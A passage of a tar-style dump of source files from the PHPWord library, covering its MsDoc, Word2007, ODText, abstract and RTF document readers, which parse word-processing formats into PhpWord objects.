                $sprmCPicLocation += 2;
                // PICF : picmid : dxaReserved1
                $picmidDxaCropLeft = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : dyaReserved1
                $picmidDxaCropTop = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : dxaReserved2
                $picmidDxaCropRight = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : dyaReserved2
                $picmidDxaCropBottom = self::getInt2d($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 2;
                // PICF : picmid : fReserved
                ++$sprmCPicLocation;
                // PICF : picmid : bpp
                ++$sprmCPicLocation;
                // PICF : picmid : brcTop80
                $sprmCPicLocation += 4;
                // PICF : picmid : brcLeft80
                $sprmCPicLocation += 4;
                // PICF : picmid : brcBottom80
                $sprmCPicLocation += 4;
                // PICF : picmid : brcRight80
                $sprmCPicLocation += 4;
                // PICF : picmid : dxaReserved3
                $sprmCPicLocation += 2;
                // PICF : picmid : dyaReserved3
                $sprmCPicLocation += 2;
                // PICF : cProps
                $sprmCPicLocation += 2;

                if ($mfpfMm == 0x0066) {
                    // cchPicName
                    $cchPicName = self::getInt1d($this->dataData, $sprmCPicLocation);
                    ++$sprmCPicLocation;

                    // stPicName
                    //$stPicName = '';
                    for ($inc = 0; $inc <= $cchPicName; ++$inc) {
                        //$chr = self::getInt1d($this->dataData, $sprmCPicLocation);
                        ++$sprmCPicLocation;
                        //$stPicName .= chr($chr);
                    }
                }

                // picture (OfficeArtInlineSpContainer)
                // picture : shape
                $shapeRH = $this->loadRecordHeader($this->dataData, $sprmCPicLocation);
                $sprmCPicLocation += 8;
                if ($shapeRH['recVer'] == 0xF && $shapeRH['recInstance'] == 0x000 && $shapeRH['recType'] == 0xF004) {
                    $sprmCPicLocation += $shapeRH['recLen'];
                }
                // picture : rgfb
                //@see  http://msdn.microsoft.com/en-us/library/dd950560%28v=office.12%29.aspx
                $fileBlockRH = $this->loadRecordHeader($this->dataData, $sprmCPicLocation);
                while ($fileBlockRH['recType'] == 0xF007 || ($fileBlockRH['recType'] >= 0xF018 && $fileBlockRH['recType'] <= 0xF117)) {
                    $sprmCPicLocation += 8;
                    switch ($fileBlockRH['recType']) {
                        // OfficeArtFBSE
                        //@see  http://msdn.microsoft.com/en-us/library/dd944923%28v=office.12%29.aspx
                        case 0xF007:
                            // btWin32
                            ++$sprmCPicLocation;
                            // btMacOS
                            ++$sprmCPicLocation;
                            // rgbUid
                            $sprmCPicLocation += 16;
                            // tag
                            $sprmCPicLocation += 2;
                            // size
                            $sprmCPicLocation += 4;
                            // cRef
                            $sprmCPicLocation += 4;
                            // foDelay
                            $sprmCPicLocation += 4;
                            // unused1
                            ++$sprmCPicLocation;
                            // cbName
                            $cbName = self::getInt1d($this->dataData, $sprmCPicLocation);
                            ++$sprmCPicLocation;
                            // unused2
                            ++$sprmCPicLocation;
                            // unused3
                            ++$sprmCPicLocation;
                            // nameData
                            if ($cbName > 0) {
                                //$nameData = '';
                                for ($inc = 0; $inc <= ($cbName / 2); ++$inc) {
                                    //$chr = self::getInt2d($this->dataData, $sprmCPicLocation);
                                    $sprmCPicLocation += 2;
                                    //$nameData .= chr($chr);
                                }
                            }
                            // embeddedBlip
                            //@see  http://msdn.microsoft.com/en-us/library/dd910081%28v=office.12%29.aspx
                            $embeddedBlipRH = $this->loadRecordHeader($this->dataData, $sprmCPicLocation);
                            switch ($embeddedBlipRH['recType']) {
                                case self::OFFICEARTBLIPJPG:
                                case self::OFFICEARTBLIPJPEG:
                                    if (!isset($oStylePrl->image)) {
                                        $oStylePrl->image = [];
                                    }
                                    $sprmCPicLocation += 8;
                                    // embeddedBlip : rgbUid1
                                    $sprmCPicLocation += 16;
                                    if ($embeddedBlipRH['recInstance'] == 0x6E1) {
                                        // rgbUid2
                                        $sprmCPicLocation += 16;
                                    }
                                    // embeddedBlip : tag
                                    ++$sprmCPicLocation;
                                    // embeddedBlip : BLIPFileData
                                    $oStylePrl->image['data'] = substr($this->dataData, $sprmCPicLocation, $embeddedBlipRH['recLen']);
                                    $oStylePrl->image['format'] = 'jpg';
                                    // Image Size
                                    $iCropWidth = $picmidDxaGoal - ($picmidDxaCropLeft + $picmidDxaCropRight);
                                    $iCropHeight = $picmidDyaGoal - ($picmidDxaCropTop + $picmidDxaCropBottom);
                                    if (!$iCropWidth) {
                                        $iCropWidth = 1;
                                    }
                                    if (!$iCropHeight) {
                                        $iCropHeight = 1;
                                    }
                                    $oStylePrl->image['width'] = Drawing::twipsToPixels($iCropWidth * $picmidMx / 1000);
                                    $oStylePrl->image['height'] = Drawing::twipsToPixels($iCropHeight * $picmidMy / 1000);

                                    $sprmCPicLocation += $embeddedBlipRH['recLen'];

                                    break;
                                case self::OFFICEARTBLIPPNG:
                                    break;
                                default:
                                    // print_r(dechex($embeddedBlipRH['recType']));
                            }

                            break;
                    }
                    $fileBlockRH = $this->loadRecordHeader($this->dataData, $sprmCPicLocation);
                }
            }
        }

        $oStylePrl->length = $pos - $posStart;

        return $oStylePrl;
    }

    /**
     * Read a record header.
     *
     * @param string $stream
     * @param int $pos
     *
     * @return array
     */
    private function loadRecordHeader($stream, $pos)
    {
        $rec = self::getInt2d($stream, $pos);
        $recType = self::getInt2d($stream, $pos + 2);
        $recLen = self::getInt4d($stream, $pos + 4);

        return [
            'recVer' => ($rec >> 0) & bindec('1111'),
            'recInstance' => ($rec >> 4) & bindec('111111111111'),
            'recType' => $recType,
            'recLen' => $recLen,
        ];
    }

    private function generatePhpWord(): void
    {
        foreach ($this->arraySections as $itmSection) {
            $oSection = $this->phpWord->addSection();
            $oSection->setStyle($itmSection->styleSection);

            $sHYPERLINK = '';
            foreach ($this->arrayParagraphs as $itmParagraph) {
                $textPara = $itmParagraph;
                foreach ($this->arrayCharacters as $oCharacters) {
                    $subText = mb_substr($textPara, $oCharacters->pos_start, $oCharacters->pos_len);
                    $subText = str_replace(chr(13), PHP_EOL, $subText);
                    $arrayText = explode(PHP_EOL, $subText);
                    if (end($arrayText) == '') {
                        array_pop($arrayText);
                    }
                    if (reset($arrayText) == '') {
                        array_shift($arrayText);
                    }

                    // Style Character
                    $styleFont = [];
                    if (isset($oCharacters->style)) {
                        if (isset($oCharacters->style->styleFont)) {
                            $styleFont = $oCharacters->style->styleFont;
                        }
                    }

                    foreach ($arrayText as $sText) {
                        // HyperLink
                        if (empty($sText) && !empty($sHYPERLINK)) {
                            $arrHYPERLINK = explode('"', $sHYPERLINK);
                            $oSection->addLink($arrHYPERLINK[1], null);
                            // print_r('>addHyperLink<'.$sHYPERLINK.'>'.ord($sHYPERLINK[0]).EOL);
                            $sHYPERLINK = '';
                        }

                        // TextBreak
                        if (empty($sText)) {
                            $oSection->addTextBreak();
                            $sHYPERLINK = '';
                            // print_r('>addTextBreak<' . EOL);
                        }

                        if (!empty($sText)) {
                            if (!empty($sHYPERLINK) && ord($sText[0]) > 20) {
                                $sHYPERLINK .= $sText;
                            }
                            if (empty($sHYPERLINK)) {
                                if (ord($sText[0]) > 20) {
                                    if (strpos(trim($sText), 'HYPERLINK "') === 0) {
                                        $sHYPERLINK = $sText;
                                    } else {
                                        $oSection->addText($sText, $styleFont);
                                        // print_r('>addText<'.$sText.'>'.ord($sText[0]).EOL);
                                    }
                                }
                                if (ord($sText[0]) == 1) {
                                    if (isset($oCharacters->style->image)) {
                                        $fileImage = tempnam(sys_get_temp_dir(), 'PHPWord_MsDoc') . '.' . $oCharacters->style->image['format'];
                                        file_put_contents($fileImage, $oCharacters->style->image['data']);
                                        $oSection->addImage($fileImage, ['width' => $oCharacters->style->image['width'], 'height' => $oCharacters->style->image['height']]);
                                        // print_r('>addImage<'.$fileImage.'>'.EOL);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    /**
     * Read 8-bit unsigned integer.
     *
     * @param string $data
     * @param int $pos
     *
     * @return int
     */
    public static function getInt1d($data, $pos)
    {
        return ord($data[$pos]);
    }

    /**
     * Read 16-bit unsigned integer.
     *
     * @param string $data
     * @param int $pos
     *
     * @return int
     */
    public static function getInt2d($data, $pos)
    {
        return ord($data[$pos]) | (ord($data[$pos + 1]) << 8);
    }

    /**
     * Read 24-bit signed integer.
     *
     * @param string $data
     * @param int $pos
     *
     * @return int
     */
    public static function getInt3d($data, $pos)
    {
        return ord($data[$pos]) | (ord($data[$pos + 1]) << 8) | (ord($data[$pos + 2]) << 16);
    }

    /**
     * Read 32-bit signed integer.
     *
     * @param string $data
     * @param int $pos
     *
     * @return int
     */
    public static function getInt4d($data, $pos)
    {
        // FIX: represent numbers correctly on 64-bit system
        // http://sourceforge.net/tracker/index.php?func=detail&aid=1487372&group_id=99160&atid=623334
        // Hacked by Andreas Rehm 2006 to ensure correct result of the <<24 block on 32 and 64bit systems
        $or24 = ord($data[$pos + 3]);
        if ($or24 >= 128) {
            // negative number
            $ord24 = -abs((256 - $or24) << 24);
        } else {
            $ord24 = ($or24 & 127) << 24;
        }

        return ord($data[$pos]) | (ord($data[$pos + 1]) << 8) | (ord($data[$pos + 2]) << 16) | $ord24;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/ReaderInterface.php000066600000002030151150442730020600 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

/**
 * Reader interface.
 *
 * @since 0.8.0
 */
interface ReaderInterface
{
    /**
     * Can the current ReaderInterface read the file?
     *
     * @param  string $filename
     *
     * @return bool
     */
    public function canRead($filename);

    /**
     * Loads PhpWord from file.
     *
     * @param string $filename
     */
    public function load($filename);
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007.php000066600000014306151150442730017012 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

use Exception;
use PhpOffice\PhpWord\Element\AbstractElement;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Reader\Word2007\AbstractPart;
use PhpOffice\PhpWord\Shared\XMLReader;
use PhpOffice\PhpWord\Shared\ZipArchive;

/**
 * Reader for Word2007.
 *
 * @since 0.8.0
 *
 * @todo watermark, checkbox, toc
 * @todo Partly done: image, object
 */
class Word2007 extends AbstractReader implements ReaderInterface
{
    /**
     * Loads PhpWord from file.
     *
     * @param string $docFile
     *
     * @return \PhpOffice\PhpWord\PhpWord
     */
    public function load($docFile)
    {
        $phpWord = new PhpWord();
        $relationships = $this->readRelationships($docFile);
        $commentRefs = [];

        $steps = [
            [
                'stepPart' => 'document',
                'stepItems' => [
                    'styles' => 'Styles',
                    'numbering' => 'Numbering',
                ],
            ],
            [
                'stepPart' => 'main',
                'stepItems' => [
                    'officeDocument' => 'Document',
                    'core-properties' => 'DocPropsCore',
                    'extended-properties' => 'DocPropsApp',
                    'custom-properties' => 'DocPropsCustom',
                ],
            ],
            [
                'stepPart' => 'document',
                'stepItems' => [
                    'endnotes' => 'Endnotes',
                    'footnotes' => 'Footnotes',
                    'settings' => 'Settings',
                    'comments' => 'Comments',
                ],
            ],
        ];

        foreach ($steps as $step) {
            $stepPart = $step['stepPart'];
            $stepItems = $step['stepItems'];
            if (!isset($relationships[$stepPart])) {
                continue;
            }
            foreach ($relationships[$stepPart] as $relItem) {
                $relType = $relItem['type'];
                if (isset($stepItems[$relType])) {
                    $partName = $stepItems[$relType];
                    $xmlFile = $relItem['target'];
                    $part = $this->readPart($phpWord, $relationships, $commentRefs, $partName, $docFile, $xmlFile);
                    $commentRefs = $part->getCommentReferences();
                }
            }
        }

        return $phpWord;
    }

    /**
     * Read document part.
     *
     * @param array<string, array<string, null|AbstractElement>> $commentRefs
     */
    private function readPart(PhpWord $phpWord, array $relationships, array $commentRefs, string $partName, string $docFile, string $xmlFile): AbstractPart
    {
        $partClass = "PhpOffice\\PhpWord\\Reader\\Word2007\\{$partName}";
        if (!class_exists($partClass)) {
            throw new Exception(sprintf('The part "%s" doesn\'t exist', $partClass));
        }

        /** @var AbstractPart $part Type hint */
        $part = new $partClass($docFile, $xmlFile);
        $part->setImageLoading($this->hasImageLoading());
        $part->setRels($relationships);
        $part->setCommentReferences($commentRefs);
        $part->read($phpWord);

        return $part;
    }

    /**
     * Read all relationship files.
     *
     * @param string $docFile
     *
     * @return array
     */
    private function readRelationships($docFile)
    {
        $relationships = [];

        // _rels/.rels
        $relationships['main'] = $this->getRels($docFile, '_rels/.rels');

        // word/_rels/*.xml.rels
        $wordRelsPath = 'word/_rels/';
        $zip = new ZipArchive();
        if ($zip->open($docFile) === true) {
            for ($i = 0; $i < $zip->numFiles; ++$i) {
                $xmlFile = $zip->getNameIndex($i);
                if ((substr($xmlFile, 0, strlen($wordRelsPath))) == $wordRelsPath && (substr($xmlFile, -1)) != '/') {
                    $docPart = str_replace('.xml.rels', '', str_replace($wordRelsPath, '', $xmlFile));
                    $relationships[$docPart] = $this->getRels($docFile, $xmlFile, 'word/');
                }
            }
            $zip->close();
        }

        return $relationships;
    }

    /**
     * Get relationship array.
     *
     * @param string $docFile
     * @param string $xmlFile
     * @param string $targetPrefix
     *
     * @return array
     */
    private function getRels($docFile, $xmlFile, $targetPrefix = '')
    {
        $metaPrefix = 'http://schemas.openxmlformats.org/package/2006/relationships/metadata/';
        $officePrefix = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/';

        $rels = [];

        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($docFile, $xmlFile);
        $nodes = $xmlReader->getElements('*');
        foreach ($nodes as $node) {
            $rId = $xmlReader->getAttribute('Id', $node);
            $type = $xmlReader->getAttribute('Type', $node);
            $target = $xmlReader->getAttribute('Target', $node);
            $mode = $xmlReader->getAttribute('TargetMode', $node);

            // Remove URL prefixes from $type to make it easier to read
            $type = str_replace($metaPrefix, '', $type);
            $type = str_replace($officePrefix, '', $type);
            $docPart = str_replace('.xml', '', $target);

            // Do not add prefix to link source
            if ($type != 'hyperlink' && $mode != 'External') {
                $target = $targetPrefix . $target;
            }

            // Push to return array
            $rels[$rId] = ['type' => $type, 'target' => $target, 'docPart' => $docPart, 'targetMode' => $mode];
        }
        ksort($rels);

        return $rels;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/ODText/Content.php000066600000022506151150442730020350 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\ODText;

use DateTime;
use DOMElement;
use DOMNodeList;
use PhpOffice\Math\Reader\MathML;
use PhpOffice\PhpWord\Element\Section;
use PhpOffice\PhpWord\Element\TrackChange;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Content reader.
 *
 * @since 0.10.0
 */
class Content extends AbstractPart
{
    /** @var ?Section */
    private $section;

    /**
     * Read content.xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);

        $trackedChanges = [];

        $nodes = $xmlReader->getElements('office:body/office:text/*');
        $this->section = null;
        $this->processNodes($nodes, $xmlReader, $phpWord);
        $this->section = null;
    }

    /** @param DOMNodeList<DOMElement> $nodes */
    public function processNodes(DOMNodeList $nodes, XMLReader $xmlReader, PhpWord $phpWord): void
    {
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                // $styleName = $xmlReader->getAttribute('text:style-name', $node);
                switch ($node->nodeName) {
                    case 'text:h': // Heading
                        $depth = $xmlReader->getAttribute('text:outline-level', $node);
                        $this->getSection($phpWord)->addTitle($node->nodeValue, $depth);

                        break;
                    case 'text:p': // Paragraph
                        $styleName = $xmlReader->getAttribute('text:style-name', $node);
                        if (substr($styleName, 0, 2) === 'SB') {
                            break;
                        }
                        $element = $xmlReader->getElement('draw:frame/draw:object', $node);
                        if ($element) {
                            $mathFile = str_replace('./', '', $element->getAttribute('xlink:href')) . '/content.xml';

                            $xmlReaderObject = new XMLReader();
                            $mathElement = $xmlReaderObject->getDomFromZip($this->docFile, $mathFile);
                            if ($mathElement) {
                                $mathXML = $mathElement->saveXML($mathElement);

                                if (is_string($mathXML)) {
                                    $reader = new MathML();
                                    $math = $reader->read($mathXML);

                                    $this->getSection($phpWord)->addFormula($math);
                                }
                            }
                        } else {
                            $children = $node->childNodes;
                            $spans = false;
                            /** @var DOMElement $child */
                            foreach ($children as $child) {
                                switch ($child->nodeName) {
                                    case 'text:change-start':
                                        $changeId = $child->getAttribute('text:change-id');
                                        if (isset($trackedChanges[$changeId])) {
                                            $changed = $trackedChanges[$changeId];
                                        }

                                        break;
                                    case 'text:change-end':
                                        unset($changed);

                                        break;
                                    case 'text:change':
                                        $changeId = $child->getAttribute('text:change-id');
                                        if (isset($trackedChanges[$changeId])) {
                                            $changed = $trackedChanges[$changeId];
                                        }

                                        break;
                                    case 'text:span':
                                        $spans = true;

                                        break;
                                }
                            }

                            if ($spans) {
                                $element = $this->getSection($phpWord)->addTextRun();
                                foreach ($children as $child) {
                                    switch ($child->nodeName) {
                                        case 'text:span':
                                            /** @var DOMElement $child2 */
                                            foreach ($child->childNodes as $child2) {
                                                switch ($child2->nodeName) {
                                                    case '#text':
                                                        $element->addText($child2->nodeValue);

                                                        break;
                                                    case 'text:tab':
                                                        $element->addText("\t");

                                                        break;
                                                    case 'text:s':
                                                        $spaces = (int) $child2->getAttribute('text:c') ?: 1;
                                                        $element->addText(str_repeat(' ', $spaces));

                                                        break;
                                                }
                                            }

                                            break;
                                    }
                                }
                            } else {
                                $element = $this->getSection($phpWord)->addText($node->nodeValue);
                            }
                            if (isset($changed) && is_array($changed)) {
                                $element->setTrackChange($changed['changed']);
                                if (isset($changed['textNodes'])) {
                                    foreach ($changed['textNodes'] as $changedNode) {
                                        $element = $this->getSection($phpWord)->addText($changedNode->nodeValue);
                                        $element->setTrackChange($changed['changed']);
                                    }
                                }
                            }
                        }

                        break;
                    case 'text:list': // List
                        $listItems = $xmlReader->getElements('text:list-item/text:p', $node);
                        foreach ($listItems as $listItem) {
                            // $listStyleName = $xmlReader->getAttribute('text:style-name', $listItem);
                            $this->getSection($phpWord)->addListItem($listItem->nodeValue, 0);
                        }

                        break;
                    case 'text:tracked-changes':
                        $changedRegions = $xmlReader->getElements('text:changed-region', $node);
                        foreach ($changedRegions as $changedRegion) {
                            $type = ($changedRegion->firstChild->nodeName == 'text:insertion') ? TrackChange::INSERTED : TrackChange::DELETED;
                            $creatorNode = $xmlReader->getElements('office:change-info/dc:creator', $changedRegion->firstChild);
                            $author = $creatorNode[0]->nodeValue;
                            $dateNode = $xmlReader->getElements('office:change-info/dc:date', $changedRegion->firstChild);
                            $date = $dateNode[0]->nodeValue;
                            $date = preg_replace('/\.\d+$/', '', $date);
                            $date = DateTime::createFromFormat('Y-m-d\TH:i:s', $date);
                            $changed = new TrackChange($type, $author, $date);
                            $textNodes = $xmlReader->getElements('text:deletion/text:p', $changedRegion);
                            $trackedChanges[$changedRegion->getAttribute('text:id')] = ['changed' => $changed, 'textNodes' => $textNodes];
                        }

                        break;
                    case 'text:section': // Section
                        // $sectionStyleName = $xmlReader->getAttribute('text:style-name', $listItem);
                        $this->section = $phpWord->addSection();
                        $children = $node->childNodes;
                        $this->processNodes($children, $xmlReader, $phpWord);

                        break;
                }
            }
        }
    }

    private function getSection(PhpWord $phpWord): Section
    {
        $section = $this->section;
        if ($section === null) {
            $section = $this->section = $phpWord->addSection();
        }

        return $section;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/ODText/Meta.php000066600000005042151150442730017620 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\ODText;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Meta reader.
 *
 * @since 0.11.0
 */
class Meta extends AbstractPart
{
    /**
     * Read meta.xml.
     *
     * @todo Process property type
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);
        $docProps = $phpWord->getDocInfo();

        $metaNode = $xmlReader->getElement('office:meta');

        // Standard properties
        $properties = [
            'title' => 'dc:title',
            'subject' => 'dc:subject',
            'description' => 'dc:description',
            'keywords' => 'meta:keyword',
            'creator' => 'meta:initial-creator',
            'lastModifiedBy' => 'dc:creator',
            // 'created'        => 'meta:creation-date',
            // 'modified'       => 'dc:date',
        ];
        foreach ($properties as $property => $path) {
            $method = "set{$property}";
            $propertyNode = $xmlReader->getElement($path, $metaNode);
            if ($propertyNode !== null && method_exists($docProps, $method)) {
                $docProps->$method($propertyNode->nodeValue);
            }
        }

        // Custom properties
        $propertyNodes = $xmlReader->getElements('meta:user-defined', $metaNode);
        foreach ($propertyNodes as $propertyNode) {
            $property = $xmlReader->getAttribute('meta:name', $propertyNode);

            // Set category, company, and manager property
            if (in_array($property, ['Category', 'Company', 'Manager'])) {
                $method = "set{$property}";
                $docProps->$method($propertyNode->nodeValue);
            } else {
                // Set other custom properties
                $docProps->setCustomProperty($property, $propertyNode->nodeValue);
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/ODText/AbstractPart.php000066600000001576151150442730021334 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\ODText;

use PhpOffice\PhpWord\Reader\Word2007\AbstractPart as Word2007AbstractPart;

/**
 * Abstract part reader.
 *
 * @since 0.10.0
 *
 * @codeCoverageIgnore
 */
abstract class AbstractPart extends Word2007AbstractPart
{
}
vendor/phpoffice/phpword/src/PhpWord/Reader/ODText.php000066600000005034151150442730016733 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Reader for ODText.
 *
 * @since 0.10.0
 */
class ODText extends AbstractReader implements ReaderInterface
{
    /**
     * Loads PhpWord from file.
     *
     * @param string $docFile
     *
     * @return \PhpOffice\PhpWord\PhpWord
     */
    public function load($docFile)
    {
        $phpWord = new PhpWord();
        $relationships = $this->readRelationships($docFile);

        $readerParts = [
            'content.xml' => 'Content',
            'meta.xml' => 'Meta',
        ];

        foreach ($readerParts as $xmlFile => $partName) {
            $this->readPart($phpWord, $relationships, $partName, $docFile, $xmlFile);
        }

        return $phpWord;
    }

    /**
     * Read document part.
     */
    private function readPart(PhpWord $phpWord, array $relationships, string $partName, string $docFile, string $xmlFile): void
    {
        $partClass = "PhpOffice\\PhpWord\\Reader\\ODText\\{$partName}";
        if (class_exists($partClass)) {
            /** @var \PhpOffice\PhpWord\Reader\ODText\AbstractPart $part Type hint */
            $part = new $partClass($docFile, $xmlFile);
            $part->setRels($relationships);
            $part->read($phpWord);
        }
    }

    /**
     * Read all relationship files.
     */
    private function readRelationships(string $docFile): array
    {
        $rels = [];
        $xmlFile = 'META-INF/manifest.xml';
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($docFile, $xmlFile);
        $nodes = $xmlReader->getElements('manifest:file-entry');
        foreach ($nodes as $node) {
            $type = $xmlReader->getAttribute('manifest:media-type', $node);
            $target = $xmlReader->getAttribute('manifest:full-path', $node);
            $rels[] = ['type' => $type, 'target' => $target];
        }

        return $rels;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/AbstractReader.php000066600000005414151150442730020454 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

use PhpOffice\PhpWord\Exception\Exception;

/**
 * Reader abstract class.
 *
 * @since 0.8.0
 *
 * @codeCoverageIgnore Abstract class
 */
abstract class AbstractReader implements ReaderInterface
{
    /**
     * Read data only?
     *
     * @var bool
     */
    protected $readDataOnly = true;

    /**
     * File pointer.
     *
     * @var bool|resource
     */
    protected $fileHandle;

    /**
     * Load images.
     *
     * @var bool
     */
    protected $imageLoading = true;

    /**
     * Read data only?
     *
     * @return bool
     */
    public function isReadDataOnly()
    {
        // return $this->readDataOnly;
        return true;
    }

    /**
     * Set read data only.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setReadDataOnly($value = true)
    {
        $this->readDataOnly = $value;

        return $this;
    }

    public function hasImageLoading(): bool
    {
        return $this->imageLoading;
    }

    public function setImageLoading(bool $value): self
    {
        $this->imageLoading = $value;

        return $this;
    }

    /**
     * Open file for reading.
     *
     * @param string $filename
     *
     * @return resource
     */
    protected function openFile($filename)
    {
        // Check if file exists
        if (!file_exists($filename) || !is_readable($filename)) {
            throw new Exception("Could not open $filename for reading! File does not exist.");
        }

        // Open file
        $this->fileHandle = fopen($filename, 'rb');
        if ($this->fileHandle === false) {
            throw new Exception("Could not open file $filename for reading.");
        }
    }

    /**
     * Can the current ReaderInterface read the file?
     *
     * @param string $filename
     *
     * @return bool
     */
    public function canRead($filename)
    {
        // Check if file exists
        try {
            $this->openFile($filename);
        } catch (Exception $e) {
            return false;
        }
        if (is_resource($this->fileHandle)) {
            fclose($this->fileHandle);
        }

        return true;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/RTF/Document.php000066600000024255151150442730020003 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\RTF;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\SimpleType\Jc;

/**
 * RTF document reader.
 *
 * References:
 * - How to Write an RTF Reader http://latex2rtf.sourceforge.net/rtfspec_45.html
 * - PHP rtfclass by Markus Fischer https://github.com/mfn/rtfclass
 * - JavaScript RTF-parser by LazyGyu https://github.com/lazygyu/RTF-parser
 *
 * @since 0.11.0
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod)
 */
class Document
{
    /** @const int */
    const PARA = 'readParagraph';
    const STYL = 'readStyle';
    const SKIP = 'readSkip';

    /**
     * PhpWord object.
     *
     * @var \PhpOffice\PhpWord\PhpWord
     */
    private $phpWord;

    /**
     * Section object.
     *
     * @var \PhpOffice\PhpWord\Element\Section
     */
    private $section;

    /**
     * Textrun object.
     *
     * @var \PhpOffice\PhpWord\Element\TextRun
     */
    private $textrun;

    /**
     * RTF content.
     *
     * @var string
     */
    public $rtf;

    /**
     * Content length.
     *
     * @var int
     */
    private $length = 0;

    /**
     * Character index.
     *
     * @var int
     */
    private $offset = 0;

    /**
     * Current control word.
     *
     * @var string
     */
